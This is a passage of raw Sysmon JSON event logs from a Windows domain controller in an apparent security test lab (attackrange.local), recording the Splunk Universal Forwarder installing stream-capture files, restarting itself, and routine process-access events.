Files\\SplunkUniversalForwarder\\etc\\apps\\Splunk_TA_stream\\windows_x86_64\\bin\\qmprotocols.dll\r\nCreationUtcTime: 2020-08-07 11:52:23.883","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 11:52:23.883","ProcessGuid":"{90617006-3FE4-5F2D-0000-0010FE150200}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetFilename":"C:\\Program Files\\SplunkUniversalForwarder\\etc\\apps\\Splunk_TA_stream\\windows_x86_64\\bin\\qmprotocols.dll","CreationUtcTime":"2020-08-07 11:52:23.883","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":2916,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: EXE\r\nUtcTime: 2020-08-07 11:52:23.914\r\nProcessGuid: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nProcessId: 2820\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetFilename: C:\\Program Files\\SplunkUniversalForwarder\\etc\\apps\\Splunk_TA_stream\\windows_x86_64\\bin\\streamfwd.exe\r\nCreationUtcTime: 2020-08-07 11:52:23.914","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"EXE","UtcTime":"2020-08-07 11:52:23.914","ProcessGuid":"{90617006-3FE4-5F2D-0000-0010FE150200}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetFilename":"C:\\Program Files\\SplunkUniversalForwarder\\etc\\apps\\Splunk_TA_stream\\windows_x86_64\\bin\\streamfwd.exe","CreationUtcTime":"2020-08-07 11:52:23.914","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":2917,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 11:52:24.023\r\nProcessGuid: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nProcessId: 2820\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetFilename: C:\\Program Files\\SplunkUniversalForwarder\\etc\\apps\\Splunk_TA_stream\\windows_x86_64\\bin\\vccorlib140.dll\r\nCreationUtcTime: 2020-08-07 11:52:24.023","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 11:52:24.023","ProcessGuid":"{90617006-3FE4-5F2D-0000-0010FE150200}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetFilename":"C:\\Program Files\\SplunkUniversalForwarder\\etc\\apps\\Splunk_TA_stream\\windows_x86_64\\bin\\vccorlib140.dll","CreationUtcTime":"2020-08-07 11:52:24.023","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":2918,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 11:52:24.023\r\nProcessGuid: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nProcessId: 2820\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetFilename: C:\\Program Files\\SplunkUniversalForwarder\\etc\\apps\\Splunk_TA_stream\\windows_x86_64\\bin\\vcruntime140.dll\r\nCreationUtcTime: 2020-08-07 11:52:24.023","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 11:52:24.023","ProcessGuid":"{90617006-3FE4-5F2D-0000-0010FE150200}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetFilename":"C:\\Program Files\\SplunkUniversalForwarder\\etc\\apps\\Splunk_TA_stream\\windows_x86_64\\bin\\vcruntime140.dll","CreationUtcTime":"2020-08-07 11:52:24.023","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":2919,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 11:52:24.023\r\nProcessGuid: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nProcessId: 2820\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetFilename: C:\\Program Files\\SplunkUniversalForwarder\\etc\\apps\\Splunk_TA_stream\\windows_x86_64\\bin\\wpcap.dll\r\nCreationUtcTime: 2020-08-07 11:52:24.023","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 11:52:24.023","ProcessGuid":"{90617006-3FE4-5F2D-0000-0010FE150200}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetFilename":"C:\\Program Files\\SplunkUniversalForwarder\\etc\\apps\\Splunk_TA_stream\\windows_x86_64\\bin\\wpcap.dll","CreationUtcTime":"2020-08-07 11:52:24.023","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":2920,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.066\r\nProcessGuid: {90617006-4078-5F2D-0000-001001F40400}\r\nProcessId: 1192\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nFileVersion: 8.0.2\r\nDescription: splunk Application\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunk.exe\r\nCommandLine: splunk _relaunch restart --accept-license --answer-yes --no-prompt --waitonpid=2820\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=BA47934C1D8F8F5D495F67F9B6EF5D0B,SHA256=39A00C55E1BC2233DBEE2A3F2F8CB9BD3668275DCA5F83BD11958FAF50E8C8CE,IMPHASH=4D753DA340C903D8C30CD8B0CF2B73E3\r\nParentProcessGuid: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nParentProcessId: 2820\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.066","ProcessGuid":"{90617006-4078-5F2D-0000-001001F40400}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","FileVersion":"8.0.2","Description":"splunk Application","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunk.exe","CommandLine":"splunk _relaunch restart --accept-license --answer-yes --no-prompt --waitonpid=2820","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=BA47934C1D8F8F5D495F67F9B6EF5D0B,SHA256=39A00C55E1BC2233DBEE2A3F2F8CB9BD3668275DCA5F83BD11958FAF50E8C8CE,IMPHASH=4D753DA340C903D8C30CD8B0CF2B73E3","ParentProcessGuid":"{90617006-3FE4-5F2D-0000-0010FE150200}","ParentProcessId":"2820","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2921,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.055\r\nSourceProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nSourceProcessId: 2820\r\nSourceThreadId: 3876\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-4078-5F2D-0000-001001F40400}\r\nTargetProcessId: 1192\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+77c1aa|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+b08def|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+dd792a|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+dd534e|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+1a2a848|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.055","SourceProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","SourceProcessId":"2820","SourceThreadId":"3876","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-4078-5F2D-0000-001001F40400}","TargetProcessId":"1192","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+77c1aa|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+b08def|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+dd792a|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+dd534e|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+1a2a848|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2922,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.055\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4078-5F2D-0000-001001F40400}\r\nTargetProcessId: 1192\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.055","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4078-5F2D-0000-001001F40400}","TargetProcessId":"1192","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2923,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.055\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.055","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2924,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.055\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.055","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2925,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.055\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.055","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2926,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.055\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 